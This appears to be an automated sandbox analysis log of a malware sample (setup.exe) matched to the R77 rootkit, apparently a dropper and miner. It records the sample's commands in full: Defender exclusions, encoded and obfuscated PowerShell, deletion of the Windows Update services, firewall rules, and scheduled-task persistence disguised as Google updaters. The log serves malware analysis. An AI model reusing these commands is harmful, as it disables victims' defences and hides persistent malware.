Source: 73.2.dllhost.exe.20dea650000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000049.00000002.596818252.0000020DEA620000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 0000004B.00000002.600391370.000001D03D210000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 0000004B.00000002.597332163.000001D03CFC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000049.00000002.598194987.0000020DEA650000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000049.00000000.559652688.000000014001C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 0000004B.00000002.607799213.000001D03D2A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 0000004B.00000002.607598805.000001D03D260000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_a4plff0r.g4b.ps1

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF69F831250 appears 107 times
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF69F832490 appears 59 times

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 3_2_00007FF69F804C80 NtResumeThread,

3_2_00007FF69F804C80

Source: E552.tmp.3.dr

Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: setup.exe	Binary or memory string: OriginalFilename vs setup.exe
Source: setup.exe, 00000000.00000000.292974160.0000000000438000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePeel impel8 vs setup.exe
Source: setup.exe, 00000000.00000003.295730964.0000000001ED4000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCevadillas.exe4 vs setup.exe
Source: setup.exe, 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCevadillas.exe4 vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenamePeel impel8 vs setup.exe

Source: setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@116/35@5/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 3_2_00007FF69F80F6C0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

3_2_00007FF69F80F6C0

Source: C:\Users\user\AppData\Local\Google\brave.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: setup.exe	ReversingLabs: Detection: 41%
Source: setup.exe	Virustotal: Detection: 37%

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe C:\Users\user\Desktop\setup.exe
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\ofg.exe C:\Users\user\AppData\Local\Google\ofg.exe
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{29a9a3a9-f91b-48e0-a57c-b80e63016d7e}
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: unknown	Process created: C:\Program Files\Google\Chrome\updater.exe C:\Program Files\Google\Chrome\updater.exe
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
